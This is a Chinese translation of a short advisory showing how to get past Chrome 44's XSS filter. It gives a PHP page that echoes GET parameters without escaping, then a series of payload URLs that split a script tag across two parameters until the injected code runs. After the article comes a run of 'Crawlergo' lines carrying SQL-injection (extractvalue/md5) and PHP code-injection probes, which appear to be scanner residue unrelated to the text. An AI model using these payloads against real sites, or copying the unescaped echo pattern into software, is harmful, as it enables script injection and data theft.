Google Chrome 44.0.2403.157 XSS Filter Bypass
原文地址:http://cxsecurity.com/issue/WLB-2015080141
像你所熟知的,chrome处于安全原因,不会执行跨站脚本中的JS代码,并且通过这个方法阻止了很多XSS攻击。假如现在你有一个受XSS影响的PHP代码(chrome.php):
<?php
// Echo the value of parameter one
echo "This is text1:".$_GET['text1']."<br><br>";
// Echo the value of parameter two
echo "This is text2:".$_GET['text2']."<br><br>";
?>
这个PHP文件接收两个参数,并且未经任何过滤就输出,这允许你去运行JS代码了。如果你在chrome中测试类似下面的xss payload:
http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)</script>&text2=Something
你会发现他不会弹窗,并且JS代码显示出来了,而且还会发现你的代码被红色高亮了。这是因为chrome极高的安全性,如果你测试其他的类似代码,你会发现相同的结果。但是,我们尝试一下不闭合<script>
标签,像这样:
http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)&text2=Something
代码又一次的被显示出来了,但是没有任何红色高亮的警告了,JS代码被作为HTML文本进行识别,因为没有闭合标签。现在必须要标签,试一下在$_GET['text2']中闭合。
http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)&text2=</script>
在这次测试中,你的代码完全的显示了出来,完全没有被红色高亮标记,但是又一次被视为HTML文本。我们来试一下用引号并且在两个引号中放一些非代码的文本!举个例子,使用void('')
,在第一个参数中传入('
,并且在另一个参数中使用')
闭合。
现在试一下:
http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/);void('&text2=')</script>
很棒,你发现弹窗了!你的JS代码被执行了!这正是我们想要的。你也可以使用document.write('')
或其他的来代替void('')
。
上个例子:
http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/);document.write('&text2=')</script>
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
'+(41962*43547)+'
Crawlergo
Crawlergo
Crawlergo'and/**/extractvalue(1,concat(char(126),md5(1552940920)))and'
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo"and/**/extractvalue(1,concat(char(126),md5(1683489292)))and"
Crawlergo
${@var_dump(md5(942406474))};
Crawlergo
Crawlergo
'-var_dump(md5(663439483))-'